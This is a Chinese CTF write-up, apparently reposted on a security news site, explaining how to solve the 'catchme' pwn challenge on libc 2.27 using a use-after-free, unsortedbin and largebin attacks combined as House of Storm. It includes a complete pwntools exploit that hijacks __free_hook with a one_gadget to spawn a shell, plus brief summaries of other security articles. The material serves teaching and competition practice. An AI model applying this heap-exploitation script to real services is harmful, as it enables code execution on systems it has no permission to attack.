web选手入门pwn(38)——catchme(HouseofStorm)"

admin 2026-10-18 05:50:27 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

web选手入门pwn(38)——catchme(House of Storm)

原创

珂字辈
珂字辈

珂技知识分享

2026年8月5日 17:47
湖北

在小说阅读器读本章

去阅读

https://github.com/kezibei/pwn\_study/tree/main/ciscn2026

给了libc 2.27,和如下环境一致

roderickchan/debug\_pwn\_env:18.04-2.27-3ubuntu 1.6-20240422

代码写的很漂亮,来看增。

qword\_202060为chunk\_list,似乎限制了只能有5个chunk,chunk大小只能选择0x430/0x440/0x48。没看到向新chunk写入内容的地方,最后会打印两个token,我们来看token是什么。

from pwn import * context.log_level = 'debug'context.arch='amd64'context.terminal = ['tmux','splitw','-h'] sh = process(\"./catchme\")#gdb.attach(sh, \"c\")gdb.attach(sh, \"b *0x555555554f2f\
 c\")#sh = remote(\"1.95.36.136\", xxxx) libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")rop = ROP(libc) def add(type):    sh.sendlineafter(\">>\", \"1\")    sh.sendlineafter(\"otter\", str(type)) def free(id):    sh.sendlineafter(\">>\", \"2\")    sh.sendlineafter(\"index:\", str(id)) def show(id, type=1):    sh.sendlineafter(\">>\", \"3\")    if type != 1:        sh.sendlineafter(\"index:\", str(id)) def edit(id, tag):    sh.sendlineafter(\">>\", \"4\")    sh.sendlineafter(\"index:\", str(id))    sh.sendlineafter(\"tag:\", tag) def delete(id):    sh.sendlineafter(\">>\", \"6\")    sh.sendlineafter(\"index:\", str(id)) #qword_202060 chunk_list = 0x555555756060#show(0) = 0x555555554f2f add(1)#chunk0 0x440 sh.interactive()

可以看到就是chunk地址的头和尾。

接着看删。

很明显没有清除指针,测试一下

add(1)#chunk0 0x440add(1)#chunk1 0x440free(0)

典型的UAF,那么只要有查就能泄露libc,有改就能劫持fd走tcache attack。

接着看查。

有flag设计,只有一次机会泄露地址,这里可以做unsortedbin泄露libc。泄露一次之后show()这个功能就废了,所以还能拿来当断点。

add(1)#chunk0 0x440add(1)#chunk1 0x440free(0)show(0,0)libc_N = u64(sh.recvuntil(\"\\x7f\")[-6:]+b\"\\x00\\x00\")main_arena_N = libc.sym['__malloc_hook'] + 0x70libc_base = libc_N-main_arena_Nprint(hex(libc_base))
show(0)

接着看改

改也有限制,只有三次机会,且这个改是从chunk+8的位置开始,写0x18数据进去。也就是说无法覆盖fd,只能覆盖bk/fd\_nextsize/bk\_nextsize。那么这题就不可能是tcache attack,更可能是unsortedbin attack和largebin attack。

实际效果如下

add(1)#chunk0 0x440edit(0, \"A\"*8+\"B\"*8+\"C\"*8)

最后是清除指针

原来free()和清除指针的操作分开了,那这样既存在UAF,又使得最多5个chunk的限制不存在了。

这题刚好可以用来学习之前用的比较少的unsortedbin attack和largebin attack。

先来unsortedbin attack

add(1)#chunk0 0x440add(1)#chunk1 0x440free(0)#chunk0=unsortedbinedit(0, p64(0x555555756100))#bk=0x555555756100add(3)

可以看到向0x555555756100+x10写入了一个libc地址。

再来largebin attack,先做一个largebin和一个稍大的unsortedbin(低于2.30才是largebin小,unsortedbin大)。

add(1)#chunk0 0x440add(1)#chunk1 0x440free(0)add(2)#chunk2 0x450add(2)#chunk3 0x450free(2)#chunk0=largebin, chunk2=unsortedbin

然后劫持largebin的bk/bk\_nextsize,add()一个小堆块。

edit(0, p64(0x555555756100)+p64(0)+p64(0x555555756150))#bk=0x555555756100,bk_nextsize=0x555555756150add(3)

可以向0x555555756100+0x10和0x555555756150+0x20写入unsortedbin的堆地址。

但这题的改只能写0x18长度,也没法打IO,到底该如何解呢?

正是结合了unsortedbin attack和largebin attack的攻击技术——House of Storm。

其具体原理如下

https://blog.xmcve.com/2022/11/22/%E5%A0%86Pwn%EF%BC%9AHouse-Of-Storm%E5%88%A9%E7%94%A8%E6%89%8B%E6%B3%95/

简单点讲就是,先利用largebin attack可以写堆地址的特点在free\_hook上方写一个0x56做size。原理类似malloc\_hook-0x23可以偏移0x7f出来。关闭ALSR堆地址开头固定为0x55,开启ALSR有一定概率为0x56。

然后利用unsortedbin attack,bk填这个0x56的假堆,add(0x48),就会尝试将假堆分配,最终达到写free\_hook的目的。

这也正是这题给了0x430/0x440/0x48三种堆块和token泄露堆头的原因。

实际利用起来比较套路化。

先填满tcache。

for i in range(7):    add(3)    free(0)    delete(0)

再常规泄露libc,做largebin和unsortedbin。

add(1)#chunk0 0x440add(1)#chunk1 0x440 free(0)show(0,0)libc_N = u64(sh.recvuntil(\"\\x7f\")[-6:]+b\"\\x00\\x00\")main_arena_N = libc.sym['__malloc_hook'] + 0x70libc_base = libc_N-main_arena_Nprint(hex(libc_base)) add(2)#chunk2 0x450add(2)#chunk3 0x450free(2)

接着篡改unsortedbin和largebin的bk/bk\_nextsize。一般来说,fake\_chunk+0x10=想写的地址。但这题的edit()偏移了0x8,所以修正成0x18。

free_hook = libc.sym['__free_hook'] + libc_basefake_chunk = free_hook-0x18payload = p64(fake_chunk + 0x8) + p64(0) + p64(fake_chunk-0x18-0x5) edit(0, payload) #largebin: bk=fake_chunk+0x8, bk_nextsize=fake_chunk-0x18-0x5edit(2, p64(fake_chunk)) #unsortedbin: bk=fake_chunk

然后add(0x48),完成House Of Storm攻击。

add(3)#4 0x48 #House Of Storm

此时free\_hook已经被分配为堆,最后编辑成one\_gadget触发即可(同时刚好三次edit次数用完)。

one_gadget = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]one = libc_base + one_gadget[2]edit(4, p64(one)) #free_hook=one_gadgetfree(4)

最终exp如下,注意要开启ALSR,而且有一定概率才成功。这里写了中断,没写循环,多运行几次就行。

from pwn import * context.log_level = 'debug'context.arch='amd64'context.terminal = ['tmux','splitw','-h'] sh = process(\"./catchme\")#gdb.attach(sh, \"c\")#gdb.attach(sh, \"b *0x555555554f2f\
 c\")#sh = remote(\"1.95.36.136\", xxxx) libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")rop = ROP(libc) def add(type):    sh.sendlineafter(\">>\", \"1\")    sh.sendlineafter(\"otter\", str(type)) def free(id):    sh.sendlineafter(\">>\", \"2\")    sh.sendlineafter(\"index:\", str(id)) def show(id, type=1):    sh.sendlineafter(\">>\", \"3\")    if type != 1:        sh.sendlineafter(\"index:\", str(id)) def edit(id, tag):    sh.sendlineafter(\">>\", \"4\")    sh.sendlineafter(\"index:\", str(id))    sh.sendlineafter(\"tag:\", tag) def delete(id):    sh.sendlineafter(\">>\", \"6\")    sh.sendlineafter(\"index:\", str(id))  #qword_202060 chunk_list = 0x555555756060#show(0) = 0x555555554f2f for i in range(7):    add(3)    sh.recvuntil(b'token(2):')    num_str = sh.recvline().strip().decode('utf-8')    if num_str != \"56\":        print(num_str)        exit()    free(0)    delete(0) add(1)#chunk0 0x440add(1)#chunk1 0x440 free(0)show(0,0)libc_N = u64(sh.recvuntil(\"\\x7f\")[-6:]+b\"\\x00\\x00\")main_arena_N = libc.sym['__malloc_hook'] + 0x70libc_base = libc_N-main_arena_Nprint(hex(libc_base)) add(2)#chunk2 0x450add(2)#chunk3 0x450free(2) free_hook = libc.sym['__free_hook'] + libc_basefake_chunk = free_hook-0x18payload = p64(fake_chunk + 0x8) + p64(0) + p64(fake_chunk-0x18-0x5) edit(0, payload) #largebin: bk=fake_chunk+0x8, bk_nextsize=fake_chunk-0x18-0x5edit(2, p64(fake_chunk)) #unsortedbin: bk=fake_chunk add(3)#4 0x48 #House Of Stormprint(hex(fake_chunk)) one_gadget = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]one = libc_base + one_gadget[2]edit(4, p64(one)) #free_hook=one_gadgetfree(4) sh.interactive()


web选手入门pwn(38)——catchme(HouseofStorm)" 网络安全文章

web选手入门pwn(38)——catchme(HouseofStorm)"

本文详细介绍了在libc2.27环境下利用HouseofStorm攻击技术解决CTFpwn挑战catchme的过程。核心思路是通过UAF漏洞泄露libc地址,结合unsortedbinattack和largebinattack在free_hook上方构造假堆块,最终分配该堆块并写入one_gadget获取shell。文章提供了完整的exp代码,并指出攻击需开启ASLR且有一定失败概率。
通过mcp遍历vue路由并根据页面功能点生成checklist" 网络安全文章

通过mcp遍历vue路由并根据页面功能点生成checklist"

本文介绍如何通过MCP工具AntiDebug\\_Breaker结合ChromeDevToolsMCP自动遍历Vue应用路由,并利用大模型分析页面功能点生成安全测试用例。作者因项目开发请假且路由数量庞大,采用此方法实现自动化。文章详细说明了环境配置、使用步骤及结果,并扩展了结合Burpsuite检查未授权API的用法。该方法可高效生成安全测试用例,但后续仍需手工介入。
别被HTTP400骗了:MetabaseCVSS10零日复现与流量还原" 网络安全文章

别被HTTP400骗了:MetabaseCVSS10零日复现与流量还原"

Metabase存在CVSS10.0零日漏洞,攻击者可通过未认证密码重置请求注入SQL,即使返回HTTP400也能写入管理员会话。复现显示攻击链可接管管理员权限,官方已确认主动利用。处置需先升级至安全版本,阻断/api/session/reset\\_password端点,清理会话并轮换凭据。检测应关注400后跟200的行为模式,而非单次状态码。
【SRC案例分析-21】登录接口惨遭WAF拦截?获取token应该如何登录?" 网络安全文章

【SRC案例分析-21】登录接口惨遭WAF拦截?获取token应该如何登录?"

本文通过两个SRC案例展示登录接口被WAF拦截时如何利用未授权获取token的接口绕过限制。案例一通过未授权接口获取用户token并利用浏览器缓存自动携带token访问系统后台实现越权登录。案例二通过破解签名校验获取admintoken并手动添加自定义请求头进入系统。核心结论是未授权token接口和签名校验薄弱导致严重越权漏洞建议加强接口权限控制和签名算法。
评论:0   参与:  0